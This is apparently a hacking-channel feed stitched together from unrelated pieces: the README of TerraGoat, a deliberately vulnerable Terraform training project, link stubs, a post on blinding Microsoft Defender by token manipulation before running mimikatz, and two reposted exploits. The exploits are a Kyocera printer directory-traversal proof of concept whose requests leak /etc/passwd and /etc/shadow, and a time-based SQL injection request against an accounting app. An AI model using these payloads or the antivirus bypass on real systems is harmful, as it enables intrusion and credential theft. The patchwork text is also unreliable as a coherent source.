TerraGoat is Bridgecrew's "Vulnerable by Design" Terraform repository. TerraGoat is a learning and training project that demonstrates how common configuration errors can find their way into production cloud environments.
Introduction TerraGoat was built to enable DevSecOps design and implement a sustainable misconfiguration (https://www.kitploit.com/search/label/Misconfiguration) prevention strategy. It can be used to test a policy-as-code framework like Bridgecrew (https://bridgecrew.io/?utm_source=github&utm_medium=organic_oss&utm_campaign=terragoat) & Checkov (https://github.com/bridgecrewio/checkov/), inline-linters, pre-commit hooks or other code scanning methods. TerraGoat follows the tradition of existing *Goat projects that provide a baseline training ground to practice implementing secure development (https://www.kitploit.com/search/label/Secure%20Development) best practices for cloud infrastructure. Important notes Where to get help: the Bridgecrew Community Slack (https://slack.bridgecrew.io/?utm_source=github&utm_medium=organic_oss&utm_campaign=terragoat) Before you proceed please take a not of these warning: TerraGoat creates intentionally vulnerable AWS resources into your account. DO NOT deploy TerraGoat in a production environment or alongside any sensitive AWS resources. Requirements Terraform 0.12 aws cli azure cli To prevent vulnerable infrastructure (https://www.kitploit.com/search/label/Vulnerable%20Infrastructure) from arriving to production see: Bridgecrew (https://bridgecrew.io/?utm_source=github&utm_medium=organic_oss&utm_campaign=terragoat) & checkov (https://github.com/bridgecrewio/checkov/), the open source static analysis (https://www.kitploit.com/search/label/Static%20Analysis) tool for infrastructure (https://www.kitploit.com/search/label/Infrastructure) as code. Getting started AWS Setup Installation (AWS) You can deploy multiple TerraGoat stacks in a single AWS account using the parameter TF_VAR_environment. Create an S3 Bucket backend to keep Terraform state export TERRAGOAT_STATE_BUCKET="mydevsecops-bucket"
export TF_VAR_company_name=acme
export TF_VAR_environment=mydevsecops
export TF_VAR_region="us-west-2"

aws s3api create-bucket --bucket $TERRAGOAT_STATE_BUCKET \
--region $TF_VAR_region --create-bucket-configuration LocationConstraint=$TF_VAR_region

# Enable versioning
aws s3api put-bucket-versioning --bucket $TERRAGOAT_STATE_BUCKET --versioning-configuration Status=Enabled

# Enable encryption
aws s3api put-bucket-encryption --bucket $TERRAGOAT_STATE_BUCKET --server-side-encryption-configuration '{
"Rules": [
{
"ApplyServerSideEncryptionByDefault": {
"SSEAlgorithm": "aws:kms"
}
}
]
}' Apply TerraGoat (AWS) cd terraform/aws/
terraform init \
-backend-config="bucket=$TERRAGOAT_STATE_BUCKET" \
-backend-config="key=$TF_VAR_company_name-$TF_VAR_environment.tfstate" \
-backend-config="region=$TF_VAR_region"

terraform apply Remove TerraGoat (AWS) terraform destroy Creating multiple TerraGoat AWS stacks cd terraform/aws/
export TERRAGOAT_ENV=$TF_VAR_environment
export TERRAGOAT_STACKS_NUM=5
for i in $(seq 1 $TERRAGOAT_STACKS_NUM)
do
export TF_VAR_environment=$TERRAGOAT_ENV$i
terraform init \
-backend-config="bucket=$TERRAGOAT_STATE_BUCKET" \
-backend-config="key=$TF_VAR_company_name-$TF_VAR_environment.tfstate" \
-backend-config="region=$TF_VAR_region"

terraform apply -auto-approve
done Deleting multiple TerraGoat stacks (AWS) cd terraform/aws/
export TF_VAR_environment = $TERRAGOAT_ENV
for i in $(seq 1 $TERRAGOAT_STACKS_NUM)
do
export TF_VAR_environment=$TERRAGOAT_ENV$i
terraform init \
-backend-config="bucket=$TERRAGOAT_STATE_BUCKET" \
-backend-config="key=$TF_VAR_company_name-$TF_VAR_environment.tfstate" \
-backend-config="region=$TF_VAR_region"

terraform destroy -auto-approve

export TERRAGOAT_STATE_STORAGE_ACCOUNT="mydevsecopssa"
export TERRAGOAT_STATE_CONTAINER="mydevsecops"
export TF_VAR_environment="dev"
export TF_VAR_region="westus"

# Create resource group
az group create --location $TF_VAR_region --name $TERRAGOAT_RESOURCE_GROUP

# Create storage account
az storage account create --name $TERRAGOAT_STATE_STORAGE_ACCOUNT --resource-group $TERRAGOAT_RESOURCE_GROUP --location $TF_VAR_region --sku Standard_LRS --kind StorageV2 --https-only true --encryption-services blob

# Get storage account key
ACCOUNT_KEY=$(az storage account keys list --resource-group $TERRAGOAT_RESOURCE_GROUP --account-name $TERRAGOAT_STATE_STORAGE_ACCOUNT --query [0].value -o tsv)

# Create blob container
az storage container create --name $TERRAGOAT_STATE_CONTAINER --account-name $TERRAGOAT_STATE_STORAGE_ACCOUNT --account-key $ACCOUNT_KEY Apply TerraGoat (Azure) cd terraform/azure/
terraform init -reconfigure -backend-config="resource_group_name=$TERRAGOAT_RESOURCE_GROUP" \
-backend-config "storage_account_name=$TERRAGOAT_STATE_STORAGE_ACCOUNT" \
-backend-config="container_name=$TERRAGOAT_STATE_CONTAINER" \
-backend-config "key=$TF_VAR_environment.terraform.tfstate"

terraform apply Remove TerraGoat (Azure) terraform destroy GCP Setup Installation (GCP) You can deploy multiple TerraGoat stacks in a single GCP project using the parameter TF_VAR_environment. Create a GCS backend to keep Terraform state To use terraform, a Service Account and matching set of credentials are required. If they do not exist, they must be manually created for the relevant project. To create the Service Account: Sign into your GCP project, go to IAM > Service Accounts. Click the CREATE SERVICE ACCOUNT. Give a name to your service account (for example - terragoat) and click CREATE. Grant the Service Account the Project > Editor role and click CONTINUE. Click DONE. To create the credentials: Sign into your GCP project, go to IAM > Service Accounts and click on the relevant Service Account. Click ADD KEY > Create new key > JSON and click CREATE. This will create a .json file and download it to your computer. We recommend saving the key with a nicer name than the auto-generated one (i.e. terragoat_credentials.json), and storing the resulting JSON file inside terraform/gcp directory of terragoat. Once the credentials are set up, create the BE configuration as follows: # example: export TF_VAR_credentials_path=terragoat_credentials.json export TF_VAR_project= # Create storage bucket gsutil mb gs://${TF_TERRAGOAT_STATE_BUCKET}'>export TF_VAR_environment="dev"
export TF_TERRAGOAT_STATE_BUCKET=remote-state-bucket-terragoat
export TF_VAR_credentials_path= # example: export TF_VAR_credentials_path=terragoat_credentials.json
export TF_VAR_project=

# Create storage bucket
gsutil mb gs://${TF_TERRAGOAT_STATE_BUCKET} Apply TerraGoat (GCP) cd terraform/gcp/
terraform init -reconfigure -backend-config="bucket=$TF_TERRAGOAT_STATE_BUCKET" \
-backend-config "credentials=$TF_VAR_credentials_path" \
-backend-config "prefix=terragoat/${TF_VAR_environment}"

terraform apply Remove TerraGoat (GCP) terraform destroy Bridgecrew's IaC herd of goats CfnGoat (https://github.com/bridgecrewio/cfngoat) - Vulnerable by design Cloudformation template TerraGoat (https://github.com/bridgecrewio/terragoat) - Vulnerable by design Terraform stack CDKGoat (https://github.com/bridgecrewio/cdkgoat) - Vulnerable by design CDK application Contributing Contribution is welcomed! We would love to hear about more ideas on how to find vulnerable infrastructure-as-code design patterns. Support Bridgecrew (https://bridgecrew.io/?utm_source=github&utm_medium=organic_oss&utm_campaign=terragoat) builds and maintains TerraGoat to encourage the adoption of policy-as-code. If you need direct support you can contact us at info@bridgecrew.io (mailto:info@bridgecrew.io).

Download Terragoat (https://github.com/bridgecrewio/terragoat)

Basic Web technologies required for starting with the web Exploitation Part-2
https://medium.com/@mananaggarwal2001/basic-web-technologies-required-for-starting-with-the-web-exploitation-part-2-ffd68c9a2d99?source=rss------bug_bounty-5

Hello Myself Manan Aggarwal is here to present the Blog about the Basic Web technologies required for starting with the web Exploitation…Continue reading on Medium » (https://medium.com/@mananaggarwal2001/basic-web-technologies-required-for-starting-with-the-web-exploitation-part-2-ffd68c9a2d99?source=rss------bug_bounty-5)

Black Hat Ethical Hacking
Offensive Security Tool: Sandbox Defender

https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Offensive Security Tool: Sandbox DefenderPost Views: 232 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 2 Minutes

Offensive Security Tool: Sandbox Defender GitHub Link Sandbox DefenderThis tool was just written by plackyhacker that allows Pentesters and Bug Bounty Hunters demonstrates a flaw that allows attackers to bypass a Windows security mechanism which protects anti-malware products from various forms of attack.

The idea and technique behind it is: Sandboxing Microsoft Defender (and other AV/EDRs) using Security Token manipulation. IntroductionThe technique is very simple:

* Enable the SeDubgPrivilege in our process security token.
* Get a handle to Defender using PROCESS_QUERY_LIMITED_INFORMATION.
* Get a handle to the Defender token using TOKEN_ALL_ACCESS.
* Disable all privileges in the token using SetPrivilege
* Set the Defender token Integrity level to Untrusted.
See Also: Complete Offensive Security and Ethical Hacking Course ExampleExecution of the code is shown below (then executing mimikatz after defender is sandboxed): .\SandboxDefender.exe
[+] Getting a token handle for this process.
[+] Token handle: 0x2EC
[+] Enabling SeDebugPrivilege.
[+] SeDebugPrivilege enabled.
[+] Defender PID: 5212
[+] Getting a process handle for Defender.
[+] Process handle: 0x2F0
[+] Getting a token handle for the Defender process.
[+] Token handle: 0x2F4
[+] Will disable Defender privileges.
[+] Will set Defender Integrity to Untrusted.
[+] Done... Have a nice day!

.\mimikatz.exe

.#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz #See Also: PHP Everywhere RCE flaws threaten thousands of WordPress sites Nice PicturesThis is Defender before the sandboxing (in Process Hacker):

https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/pre.png
This is Defender after the sandboxing (in Process Hacker):

https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/post.png
See Also: How ILOVEYOU worm became the first global computer virus pandemic https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/merch.png Recent Tools* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/unknown-90x90.png Offensive Security Tool: Stratus Red Team1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/Working-of-Digital-Steganography-90x90.png Offensive Security Tool: Crypto Steganography2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/86676611-2c44d500-bfd1-11ea-87fd-faf874a2dcf2-90x90.png Recon Tool: WitnessMe2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/sqlmap-90x90.png Offensive Security Tool: SQLMap3 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/comit_stream-90x90.png OSINT Tool: Commit Stream3 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/EDR-Hooked-90x90.png Offensive Security Tool: Ivy4 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/osmedeus-details-folder-90x90.png Offensive Security Tool: Osmedeus1 month ago
* https://www.blackhatethicalhacking.com/wp-content/uploads[...]

___________________________
@hacking_Attack
@Hacking_Video

/2021/12/basic_spraying-90x90.png Offensive Security Tool: Spray3651 month ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/log4j-attack-diagram-r3-90x90.png Offensive Security Tool: log4j Honeypot Flask2 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/log4j-scan-90x90.png Offensive Security Tool: log4j-scan2 months ago
The post Offensive Security Tool: Sandbox Defender first appeared on Black Hat Ethical Hacking.

___________________________
@hacking_Attack
@Hacking_Video

AD CS: from ManageCA to RCE - BlackArrow
https://www.reddit.com/r/redteamsec/comments/sq3epc/ad_cs_from_manageca_to_rce_blackarrow/

submitted by /u/gid0rah (https://www.reddit.com/user/gid0rah)
[link] (https://www.blackarrow.net/ad-cs-from-manageca-to-rce/) [comments] (https://www.reddit.com/r/redteamsec/comments/sq3epc/ad_cs_from_manageca_to_rce_blackarrow/)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
What CISOs Should Tell the Board About Log4j

It's time for a reset with the board of directors. Very few have a dedicated, board-level cybersecurity committee, which means cybersecurity isn't viewed as a critical executive function.

Dark Reading: Attacks/Breaches
BlackBerry Seeks to Restore Its Past Glory With Services Push

Selling security software might prove easier than selling phones, but can BlackBerry outsmart its competition?

Exploit Collector
Kyocera Command Center RX ECOSYS M2035dn Directory Traversal

https://4.bp.blogspot.com/-IV-83q7tlNU/WWlvNru3JHI/AAAAAAAAIMg/qWmIdM50sJs0a5mqLHfeVDVNkTKQ10wJwCLcBGAs/s1600/h23.png
Kyocera Command Center RX version ECOSYS M2035dn suffers from a directory traversal vulnerability that allows for file disclosure.

MD5 | 7228aa8fcc27e615b0c6ed6372b4e348

Download
# Exploit Title: Kyocera Command Center RX ECOSYS M2035dn - Directory Traversal File Disclosure (Unauthenticated)
# Author: Luis Martinez
# Discovery Date: 2022-02-10
# Vendor Homepage: https://www.kyoceradocumentsolutions.com/asia/en/products/business-application/command-center-rx.html
# Tested Version: ECOSYS M2035dn
# Tested on: Linux
# Vulnerability Type: Directory Traversal File Disclosure (Unauthenticated)

# Proof of Concept:
# 1.- Create a directory traversal payload
# 2.- Add nullbyte to the end of the payload(%00)
# 3.- Sent your request

Request 1:

GET /js/../../../../../../../../etc/passwd%00.jpg HTTP/1.1
Cookie: rtl=0
Host: X.X.X.X
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64)
Accept: */*

Response 1:

HTTP/1.1 200 OK
Content-Length: 844
Upgrade: TLS/1.0
Accept-Encoding: identity
Date: Thu, 10 Feb 2022 15:55:57 GMT
Server: KM-MFP-http/V0.0.1
Last-Modified: Thu, 10 Feb 2022 15:25:48 GMT
ETag: "/js/../../../../../../../../etc/passwd, Thu, 10 Feb 2022 15:25:48 GMT"
Content-Type: image/jpeg

root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/bin/sh
daemon:x:2:2:daemon:/usr/sbin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
adm:x:4:4:adm:/var/adm:/bin/sh
lp:x:5:7:lp:/var/spool/lpd:/bin/sh
sync:x:6:8:sync:/bin:/bin/sync
shutdown:x:7:9:shutdown:/sbin:/sbin/shutdown
halt:x:8:10:halt:/sbin:/sbin/halt
mail:x:9:11:mail:/var/mail:/bin/sh
news:x:10:12:news:/var/spool/news:/bin/sh
uucp:x:11:13:uucp:/var/spool/uucp:/bin/sh
operator:x:12:0:operator:/root:/bin/sh
games:x:13:60:games:/usr/games:/bin/sh
ftp:x:15:14:ftp:/var/ftp:/bin/sh
man:x:16:20:man:/var/cache/man:/bin/sh
www:x:17:18:www-data:/var/www:/bin/sh
sshd:x:18:19:sshd:/var/run/sshd:/bin/sh
proxy:x:19:21:proxy:/bin:/bin/sh
telnetd:x:20:22:proxy:/bin:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
ais:x:101:101:ais:/var/run/ais:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh

Request 2:

GET /js/../../../../../../../../etc/shadow%00.jpg HTTP/1.1
Cookie: rtl=0
Host: X.X.X.X
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64)
Accept: */*

Response 2:

HTTP/1.1 200 OK
Content-Length: 480
Upgrade: TLS/1.0
Accept-Encoding: identity
Date: Thu, 10 Feb 2022 16:10:16 GMT
Server: KM-MFP-http/V0.0.1
Last-Modified: Thu, 10 Feb 2022 15:25:48 GMT
ETag: "/js/../../../../../../../../etc/shadow, Thu, 10 Feb 2022 15:25:48 GMT"
Content-Type: image/jpeg

root:$1$7NzW9Q4N$hXTtMygKjVUdJtW86EH3t1:15873::::::
bin:*:15873::::::
daemon:*:15873::::::
sys:*:15873::::::
adm:*:15873::::::
lp:*:15873::::::
sync:*:15873::::::
shutdown:*:15873::::::
halt:*:15873::::::
mail:*:15873::::::
news:*:15873::::::
uucp:*:15873::::::
operator:*:15873::::::
games:*:15873::::::
ftp:*:15873::::::
man:*:15873::::::
www:*:15873::::::
sshd:*:15873::::::
proxy:*:15873::::::
telnetd:*:15873::::::
backup:*:15873::::::
ais:*:15873::::::
nobody:*:15873::::::


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Accounting Journal Management System 1.0 SQL Injection

https://1.bp.blogspot.com/-oHWy7Hh5Fq0/WWlvjd6DOFI/AAAAAAAAIQk/2SpYZjutgb8xmw4nQNmHjmGkgvDsryz_gCLcBGAs/s1600/h93.png
Accounting Journal Management System version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | cfdb5f319bcfa6174d133376cddb4d3a

Download
# Exploit Title: Accounting Journal Management System 1.0 - 'id' SQLi (Authenticated)
# Exploit Author: Alperen Ergel
# Contact: @alpernae (IG/TW)
# Software Homepage: https://www.sourcecodester.com/php/15155/accounting-journal-management-system-trial-balance-php-free-source-code.html
# Version : 1.0
# Tested on: windows 10 xammp | Kali linux
# Category: WebApp
# Google Dork: N/A
# Date: 09.02.2022

######## Description ########
#
#
# Authenticate and get update user settings will be appear the
# id paramater put your payload at there it'll be work
#
#
#
######## Proof of Concept ########

========>>> REQUEST

GET /ajms/admin/?page=user/manage_user&id=5%27%20AND%20(SELECT%208928%20FROM%20(SELECT(SLEEP(10)))hVPW)%20AND%20%27qHYS%27=%27qHYS HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=r513r6hug9aqofhlfs3bc7f7qa
Upgrade-Insecure-Requests: 1

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video